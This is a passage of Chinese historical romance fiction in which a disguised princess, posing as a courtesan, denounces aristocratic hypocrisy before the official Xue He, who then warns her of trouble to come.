女郎这会抬起了头,眼中怯懦之色淡去些,多出两分不甘,“奴并非巧言令色。奴是有错,但奴之错并非错在对美好人事的渴求,乃是错在自小流落烟花之地,不曾受过圣贤教养,所以心动情起之时本能流露的是公子这等云端之人看不上的下作之态,没有与您君子之风匹配的贵女举止。但非要论错,奴不觉是我一人之错,有本事你这般金尊玉贵的大家公子、朝廷大官让全天下的百姓都有饭吃,让全天的人都得教化,让全天下的妓院都关了门去,让人牙子都死去,就不会有人买,有人卖了!我们是卖笑不假,但是来买笑的王孙公子,动辄一掷千金,你倒是去翻翻他们的家底,是否当真那般干净,可是搜刮了多少民脂民膏!未央宫前殿站着的衣冠楚楚之辈,多少是人面兽心,外头镀金身,内里裹破絮,眼中只有高官厚禄,利益权势,无有半点民间疾苦……”女郎愈发愤慨激昂,话语戳人心底,“落英若有您这般出身,未必不如您;您若和坊中人投的是一样的胎,许是比之还低贱!” 薛壑看着跪在地上的女子,她明明跪着,却头颅高昂,眼中已经没有半点畏惧之色,唯于一片铮铮铁骨的韧劲。 “你……”不知是被她言语震撼,还是在思她如何能有这般见解,薛壑竟一时语塞,只无声看着她。 他莫名觉得有一瞬看见了江瞻云。 但江瞻云不会仰视,她从来都是俯瞰众生。 “后头话是殿下教的,殿下与我们厮混,说得最多的便是,这世道,谁比谁高贵!”江瞻云这会意识到言语太过,赶紧补上漏洞。 “你、她说得对!”许久,薛壑才吐出一句话,回去自己的案前坐下,“起来吧。” 江瞻云深吸了口气,嘟囔道,“阿兄放心,就算我真的对您有几分动心,也都是因为殿下,我更喜欢殿下。” 薛壑抬眸,眼光中竟带了一丝不可察觉的暖意,“其实殿下教你写字,你该珍惜的。她的一手隶书,写得极漂亮,比我好多了。” 江瞻云一双本就圆亮的眼睛瞪得更大了,上扬的嘴角压也压不住,垂着眼睑道,“殿下若听到,肯定欢喜。” 她眉眼弯弯,浓密的睫毛覆下,便也不曾看见对面青年难言的落寞。 只闻他道,“未来一段时日,我会很忙,你将近来所学好好练习。无论听到甚,见到甚,都莫轻信,也莫要离府。” 江瞻云抬眸看他,青年脸上褪尽了血色,眼底隐隐含有两分惧意,极快地隐去了。剩寒森森一片冷光,衬得一张脸愈发白如鬼魅。